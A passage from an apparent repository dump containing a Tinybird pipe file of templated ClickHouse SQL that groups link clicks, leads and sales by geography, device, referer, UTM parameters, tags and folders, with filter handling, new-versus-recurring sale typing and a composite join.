         {% if operator == 'IN' %} AND device IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND device NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'browser' %}\n                        {% if operator == 'IN' %} AND browser IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND browser NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'os' %}\n                        {% if operator == 'IN' %} AND os IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND os NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'trigger' %}\n                        {% if operator == 'IN' %} AND trigger IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND trigger NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'referer' %}\n                        {% if operator == 'IN' %} AND referer IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND referer NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'refererUrl' %}\n                        {% if operator == 'IN' %} AND splitByString('?', referer_url)[1] IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', referer_url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'url' %}\n                        {% if operator == 'IN' %} AND splitByString('?', url)[1] IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'utm_source' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_medium' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_campaign' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_term' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_content' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'domain' %}\n                        {% if operator == 'IN' %} AND link_id IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                        {% elif operator == 'NOT IN' %} AND link_id NOT IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                        {% end %}\n                    {% elif field == 'tagId' %}\n                        {% if operator == 'IN' %} AND link_id IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                        {% elif operator == 'NOT IN' %} AND link_id NOT IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                        {% end %}\n                    {% elif field == 'folderId' %}\n                        {% if operator == 'IN' %} AND link_id IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                        {% elif operator == 'NOT IN' %} AND link_id NOT IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                        {% end %}\n                    {% end %}\n                {% end %}\n            {% end %}\n        {% end %}\n    GROUP BY\n        groupByField\n        {% if String(groupBy) == 'cities' %}, country, region\n        {% elif String(groupBy) == 'regions' %}, country\n        {% end %}\n    ORDER BY clicks DESC\n    LIMIT 5000\n\n\n\nNODE group_by_leads\nSQL >\n\n    %\n    SELECT\n        multiIf(\n            {{ String(groupBy) }} = 'top_links',\n            link_id,\n            {{ String(groupBy) }} = 'top_urls',\n            url,\n            {{ String(groupBy) }} = 'top_base_urls',\n            splitByString('?', url)[1],\n            {{ String(groupBy) }} = 'referers',\n            referer,\n            {{ String(groupBy) }} = 'referer_urls',\n            splitByString('?', referer_url)[1],\n            {{ String(groupBy) }} = 'utm_sources',\n            decodeURLFormComponent(extractURLParameter(url, 'utm_source')),\n            {{ String(groupBy) }} = 'utm_mediums',\n            decodeURLFormComponent(extractURLParameter(url, 'utm_medium')),\n            {{ String(groupBy) }} = 'utm_campaigns',\n            decodeURLFormComponent(extractURLParameter(url, 'utm_campaign')),\n            {{ String(groupBy) }} = 'utm_terms',\n            decodeURLFormComponent(extractURLParameter(url, 'utm_term')),\n            {{ String(groupBy) }} = 'utm_contents',\n            decodeURLFormComponent(extractURLParameter(url, 'utm_content')),\n            {{ String(groupBy) }} = 'ref',\n            decodeURLFormComponent(extractURLParameter(url, 'ref')),\n            {{ String(groupBy) }} = 'countries',\n            country,\n            {{ String(groupBy) }} = 'regions',\n            CONCAT(country, '-', region) as region,\n            {{ String(groupBy) }} = 'cities',\n            city,\n            {{ String(groupBy) }} = 'continents',\n            continent,\n            {{ String(groupBy) }} = 'devices',\n            device,\n            {{ String(groupBy) }} = 'browsers',\n            browser,\n            {{ String(groupBy) }} = 'os',\n            os,\n            {{ String(groupBy) }} = 'triggers',\n            trigger,\n            link_id\n        ) AS groupByField,\n        {% if String(groupBy) == 'cities' %} country, CONCAT(country, '-', region) as region,\n        {% elif String(groupBy) == 'regions' %} country,\n        {% end %}\n        COUNT(*) as leads\n    FROM dub_lead_events_mv\n    WHERE\n        groupByField != '' AND groupByField != 'Unknown'\n        {% if defined(workspaceId) %} AND workspace_id = {{ workspaceId }} {% end %}\n        {% if defined(linkId) %}\n            {% if defined(linkIdOperator) and String(linkIdOperator) == 'NOT IN' %}\n                AND link_id NOT IN {{ Array(linkId, 'String') }}\n            {% else %}\n                AND link_id IN {{ Array(linkId, 'String') }}\n            {% end %}\n        {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n            tenantId\n        ) or defined(folderId) or defined(domain) or defined(\n            tagId\n        ) or defined(\n            root\n        ) %} AND link_id in (SELECT link_id from workspace_links)\n        {% end %}\n        {% if defined(customerId) %} AND customer_id = {{ String(customerId) }} {% end %}\n        {% if defined(continent) %} AND continent = {{ continent }} {% end %}\n        {% if defined(country) %} AND country = {{ country }} {% end %}\n        {% if defined(region) %} AND region = {{ region }} {% end %}\n        {% if defined(city) %} AND city = {{ city }} {% end %}\n        {% if defined(device) %} AND device = {{ device }} {% end %}\n        {% if defined(browser) %} AND browser = {{ browser }} {% end %}\n        {% if defined(os) %} AND os = {{ os }} {% end %}\n        {% if defined(referer) %} AND referer = {{ referer }} {% end %}\n        {% if defined(refererUrl) %} AND splitByString('?', referer_url)[1] = {{ refererUrl }} {% end %}\n        {% if defined(utm_source) %}\n            AND url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n        {% end %}\n        {% if defined(utm_medium) %}\n            AND url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n        {% end %}\n        {% if defined(utm_campaign) %}\n            AND url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n        {% end %}\n        {% if defined(utm_term) %}\n            AND url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n        {% end %}\n        {% if defined(utm_content) %}\n            AND url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n        {% end %}\n        {% if defined(url) %} AND splitByString('?', url)[1] = {{ url }} {% end %}\n        {% if defined(start) %} AND timestamp >= {{ DateTime(start) }} {% end %}\n        {% if defined(end) %} AND timestamp <= {{ DateTime(end) }} {% end %}\n        {% if defined(filters) %}\n            {% for item in JSON(filters, '[]') %}\n                {% if item.get('operand', '').startswith('metadata.') %}\n                    {% set metadataKey = item.get('operand', '').split('.')[1] %}\n                    {% set operator = item.get('operator', 'equals') %}\n                    {% set value = item.get('value', '') %}\n                    {% if operator == 'equals' %}\n                        AND JSONExtractString(metadata, {{ metadataKey }}) = {{ value }}\n                    {% elif operator == 'notEquals' %}\n                        AND JSONExtractString(metadata, {{ metadataKey }}) != {{ value }}\n                    {% elif operator == 'greaterThan' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) > toFloat64OrNull({{ value }})\n                    {% elif operator == 'lessThan' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) < toFloat64OrNull({{ value }})\n                    {% elif operator == 'greaterThanOrEqual' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) >= toFloat64OrNull({{ value }})\n                    {% elif operator == 'lessThanOrEqual' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) <= toFloat64OrNull({{ value }})\n                    {% end %}\n                {% elif item.get('field', '') %}\n                    {% set field = item.get('field', '') %}\n                    {% set operator = item.get('operator', 'IN') %}\n                    {% set values = item.get('values', []) %}\n                    {% if field == 'country' %}\n                        {% if operator == 'IN' %} AND country IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND country NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'city' %}\n                        {% if operator == 'IN' %} AND city IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND city NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'continent' %}\n                        {% if operator == 'IN' %} AND continent IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND continent NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'device' %}\n                        {% if operator == 'IN' %} AND device IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND device NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'browser' %}\n                        {% if operator == 'IN' %} AND browser IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND browser NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'os' %}\n                        {% if operator == 'IN' %} AND os IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND os NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'trigger' %}\n                        {% if operator == 'IN' %} AND trigger IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND trigger NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'referer' %}\n                        {% if operator == 'IN' %} AND referer IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND referer NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'refererUrl' %}\n                        {% if operator == 'IN' %} AND splitByString('?', referer_url)[1] IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', referer_url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'url' %}\n                        {% if operator == 'IN' %} AND splitByString('?', url)[1] IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'utm_source' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_medium' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_campaign' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_term' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_content' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'domain' %}\n                        {% if operator == 'IN' %} AND link_id IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                        {% elif operator == 'NOT IN' %} AND link_id NOT IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                        {% end %}\n                    {% elif field == 'tagId' %}\n                        {% if operator == 'IN' %} AND link_id IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                        {% elif operator == 'NOT IN' %} AND link_id NOT IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                        {% end %}\n                    {% elif field == 'folderId' %}\n                        {% if operator == 'IN' %} AND link_id IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                        {% elif operator == 'NOT IN' %} AND link_id NOT IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                        {% end %}\n                    {% end %}\n                {% end %}\n            {% end %}\n        {% end %}\n    GROUP BY\n        groupByField\n        {% if String(groupBy) == 'cities' %}, country, region\n        {% elif String(groupBy) == 'regions' %}, country\n        {% end %}\n    ORDER BY leads DESC\n    LIMIT 5000\n\n\n\nNODE first_sale_by_link_customer\nSQL >\n\n    %\n    SELECT workspace_id, link_id, customer_id, minMerge(first_sale_state) AS first_sale_ts\n    FROM dub_first_sale_mv\n    WHERE\n        workspace_id\n        = {{\n            String(\n                workspaceId,\n                'cl7pj5kq4006835rbjlt2ofka',\n                description=\"The unique ID for the workspace\",\n                required=True,\n            )\n        }}\n    GROUP BY workspace_id, link_id, customer_id\n\n\n\nNODE group_by_sales\nSQL >\n\n    %\n    SELECT\n        multiIf(\n            {{ String(groupBy) }} = 'top_links',\n            link_id,\n            {{ String(groupBy) }} = 'top_urls',\n            url,\n            {{ String(groupBy) }} = 'top_base_urls',\n            splitByString('?', url)[1],\n            {{ String(groupBy) }} = 'referers',\n            referer,\n            {{ String(groupBy) }} = 'referer_urls',\n            splitByString('?', referer_url)[1],\n            {{ String(groupBy) }} = 'utm_sources',\n            decodeURLFormComponent(extractURLParameter(url, 'utm_source')),\n            {{ String(groupBy) }} = 'utm_mediums',\n            decodeURLFormComponent(extractURLParameter(url, 'utm_medium')),\n            {{ String(groupBy) }} = 'utm_campaigns',\n            decodeURLFormComponent(extractURLParameter(url, 'utm_campaign')),\n            {{ String(groupBy) }} = 'utm_terms',\n            decodeURLFormComponent(extractURLParameter(url, 'utm_term')),\n            {{ String(groupBy) }} = 'utm_contents',\n            decodeURLFormComponent(extractURLParameter(url, 'utm_content')),\n            {{ String(groupBy) }} = 'ref',\n            decodeURLFormComponent(extractURLParameter(url, 'ref')),\n            {{ String(groupBy) }} = 'countries',\n            country,\n            {{ String(groupBy) }} = 'regions',\n            CONCAT(country, '-', region) as region,\n            {{ String(groupBy) }} = 'cities',\n            city,\n            {{ String(groupBy) }} = 'continents',\n            continent,\n            {{ String(groupBy) }} = 'devices',\n            device,\n            {{ String(groupBy) }} = 'browsers',\n            browser,\n            {{ String(groupBy) }} = 'os',\n            os,\n            {{ String(groupBy) }} = 'triggers',\n            trigger,\n            link_id\n        ) AS groupByField,\n        {% if String(groupBy) == 'cities' %} country, CONCAT(country, '-', region) as region,\n        {% elif String(groupBy) == 'regions' %} country,\n        {% end %}\n        COUNT(*) AS sales,\n        SUM(amount) AS saleAmount\n    FROM\n    (\n        SELECT\n            se.*,\n            if(\n                isNull(fs.first_sale_ts),\n                'new',\n                if(\n                    toUnixTimestamp64Milli(se.timestamp) = toUnixTimestamp64Milli(fs.first_sale_ts),\n                    'new',\n                    'recurring'\n                )\n            ) AS sale_type\n        FROM dub_sale_events_mv AS se\n        LEFT JOIN first_sale_by_link_customer AS fs\n            USING (workspace_id, link_id, customer_id)\n        WHERE\n            true\n            {% if defined(workspaceId) %} AND se.workspace_id = {{ workspaceId }} {% end %}\n            {% if defined(linkId) %}\n                {% if defined(linkIdOperator) and String(linkIdOperator) == 'NOT IN' %}\n                    AND se.link_id NOT IN {{ Array(linkId, 'String') }}\n                {% else %}\n                    AND se.link_id IN {{ Array(linkId, 'String') }}\n                {% end %}\n            {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n                tenantId\n            ) or defined(folderId) or defined(domain) or defined(\n                tagId\n            ) or defined(\n                root\n            ) %} AND se.link_id in (SELECT link_id from workspace_links)\n            {% end %}\n            {% if defined(customerId) %} AND se.customer_id = {{ String(customerId) }} {% end %}\n            {% if defined(continent) %} AND se.continent = {{ continent }} {% end %}\n            {% if defined(country) %} AND se.country = {{ country }} {% end %}\n            {% if defined(region) %} AND se.region = {{ region }} {% end %}\n            {% if defined(city) %} AND se.city = {{ city }} {% end %}\n            {% if defined(device) %} AND se.device = {{ device }} {% end %}\n            {% if defined(browser) %} AND se.browser = {{ browser }} {% end %}\n            {% if defined(os) %} AND se.os = {{ os }} {% end %}\n            {% if defined(referer) %} AND se.referer = {{ referer }} {% end %}\n            {% if defined(refererUrl) %} AND splitByString('?', se.referer_url)[1] = {{ refererUrl }} {% end %}\n            {% if defined(utm_source) %}\n                AND se.url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n            {% end %}\n            {% if defined(utm_medium) %}\n                AND se.url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n            {% end %}\n            {% if defined(utm_campaign) %}\n                AND se.url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n            {% end %}\n            {% if defined(utm_term) %}\n                AND se.url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n            {% end %}\n            {% if defined(utm_content) %}\n                AND se.url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n            {% end %}\n            {% if defined(url) %} AND splitByString('?', se.url)[1] = {{ url }} {% end %}\n            {% if defined(start) %} AND se.timestamp >= {{ DateTime(start) }} {% end %}\n            {% if defined(end) %} AND se.timestamp <= {{ DateTime(end) }} {% end %}\n            {% if defined(filters) %}\n                {% for item in JSON(filters, '[]') %}\n                    {% if item.get('operand', '').startswith('metadata.') %}\n                        {% set metadataKey = item.get('operand', '').split('.')[1] %}\n                        {% set operator = item.get('operator', 'equals') %}\n                        {% set value = item.get('value', '') %}\n                        {% if operator == 'equals' %}\n                            AND JSONExtractString(se.metadata, {{ metadataKey }}) = {{ value }}\n                        {% elif operator == 'notEquals' %}\n                            AND JSONExtractString(se.metadata, {{ metadataKey }}) != {{ value }}\n                        {% elif operator == 'greaterThan' %}\n                            AND toFloat64OrNull(JSONExtractString(se.metadata, {{ metadataKey }})) > toFloat64OrNull({{ value }})\n                        {% elif operator == 'lessThan' %}\n                            AND toFloat64OrNull(JSONExtractString(se.metadata, {{ metadataKey }})) < toFloat64OrNull({{ value }})\n                        {% elif operator == 'greaterThanOrEqual' %}\n                            AND toFloat64OrNull(JSONExtractString(se.metadata, {{ metadataKey }})) >= toFloat64OrNull({{ value }})\n                        {% elif operator == 'lessThanOrEqual' %}\n                            AND toFloat64OrNull(JSONExtractString(se.metadata, {{ metadataKey }})) <= toFloat64OrNull({{ value }})\n                        {% end %}\n                    {% elif item.get('field', '') %}\n                        {% set field = item.get('field', '') %}\n                        {% set operator = item.get('operator', 'IN') %}\n                        {% set values = item.get('values', []) %}\n                        {% if field == 'country' %}\n                            {% if operator == 'IN' %} AND se.country IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.country NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'city' %}\n                            {% if operator == 'IN' %} AND se.city IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.city NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'continent' %}\n                            {% if operator == 'IN' %} AND se.continent IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.continent NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'device' %}\n                            {% if operator == 'IN' %} AND se.device IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.device NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'browser' %}\n                            {% if operator == 'IN' %} AND se.browser IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.browser NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'os' %}\n                            {% if operator == 'IN' %} AND se.os IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.os NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'trigger' %}\n                            {% if operator == 'IN' %} AND se.trigger IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.trigger NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'referer' %}\n                            {% if operator == 'IN' %} AND se.referer IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND se.referer NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'refererUrl' %}\n                            {% if operator == 'IN' %} AND splitByString('?', se.referer_url)[1] IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND splitByString('?', se.referer_url)[1] NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'url' %}\n                            {% if operator == 'IN' %} AND splitByString('?', se.url)[1] IN {{ Array(values, 'String') }}\n                            {% elif operator == 'NOT IN' %} AND splitByString('?', se.url)[1] NOT IN {{ Array(values, 'String') }}\n                            {% end %}\n                        {% elif field == 'utm_source' %}\n                            {% if operator == 'IN' %}\n                                AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% elif operator == 'NOT IN' %}\n                                AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% end %}\n                        {% elif field == 'utm_medium' %}\n                            {% if operator == 'IN' %}\n                                AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% elif operator == 'NOT IN' %}\n                                AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% end %}\n                        {% elif field == 'utm_campaign' %}\n                            {% if operator == 'IN' %}\n                                AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% elif operator == 'NOT IN' %}\n                                AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% end %}\n                        {% elif field == 'utm_term' %}\n                            {% if operator == 'IN' %}\n                                AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% elif operator == 'NOT IN' %}\n                                AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% end %}\n                        {% elif field == 'utm_content' %}\n                            {% if operator == 'IN' %}\n                                AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% elif operator == 'NOT IN' %}\n                                AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                            {% end %}\n                        {% elif field == 'domain' %}\n                            {% if operator == 'IN' %} AND se.link_id IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                            {% elif operator == 'NOT IN' %} AND se.link_id NOT IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                            {% end %}\n                        {% elif field == 'tagId' %}\n                            {% if operator == 'IN' %} AND se.link_id IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                            {% elif operator == 'NOT IN' %} AND se.link_id NOT IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                            {% end %}\n                        {% elif field == 'folderId' %}\n                            {% if operator == 'IN' %} AND se.link_id IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                            {% elif operator == 'NOT IN' %} AND se.link_id NOT IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                            {% end %}\n                        {% end %}\n                    {% end %}\n                {% end %}\n            {% end %}\n    ) AS typed\n    WHERE\n        groupByField != '' AND groupByField != 'Unknown'\n        {% if defined(saleType) %} AND typed.sale_type = {{ String(saleType) }} {% end %}\n    GROUP BY\n        groupByField\n        {% if String(groupBy) == 'cities' %}, country, region\n        {% elif String(groupBy) == 'regions' %}, country\n        {% end %}\n    ORDER BY saleAmount DESC\n    LIMIT 5000\n\n\n\nNODE group_by_composite\nSQL >\n\n    %\n    SELECT\n        dce.groupByField as groupByField,\n        clicks,\n        leads,\n        sales,\n        saleAmount\n        {% if String(groupBy) == 'cities' %}, dce.country as country, dce.region as region{% end %}\n        {% if String(groupBy) == 'regions' %}, dce.country as country{% end %}\n    FROM\n        (\n            SELECT\n                dce.groupByField,\n                dce.clicks,\n                COALESCE(dle.leads, 0) AS leads,\n                COALESCE(dse.sales, 0) AS sales,\n                COALESCE(dse.saleAmount, 0) AS saleAmount\n                {% if String(groupBy) == 'cities' %}, dce.country, dce.region{% end %}\n                {% if String(groupBy) == 'regions' %}, dce.country{% end %}\n            FROM group_by_clicks dce\n            LEFT JOIN\n                group_by_leads dle ON dce.groupByField = dle.groupByField\n                {% if String(groupBy) == 'cities' %}\n                    AND dce.country = dle.country AND dce.region = dle.region\n                {% end %}\n                {% if String(groupBy) == 'regions' %} AND dce.country = dle.country{% end %}\n            LEFT JOIN\n                group_by_sales dse ON dce.groupByField = dse.groupByField\n                {% if String(groupBy) == 'cities' %}\n                    AND dce.country = dse.country AND dce.region = dse.region\n                {% end %}\n                {% if String(groupBy) == 'regions' %} AND dce.country = dse.country{% end %}\n        )\n    ORDER BY clicks DESC\n\n\n\nNODE endpoint\nSQL >\n\n    %\n    SELECT *\n    FROM\n        {% if eventType == 'clicks' %} group_by_clicks\n        {% elif eventType == 'leads' %} group_by_leads\n        {% elif eventType == 'sales' %}group_by_sales \n        {% elif eventType == 'composite' %}group_by_composite\n        {% else %} group_by_clicks\n        {% end %}\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/v4_group_by_link_metadata.pipe",
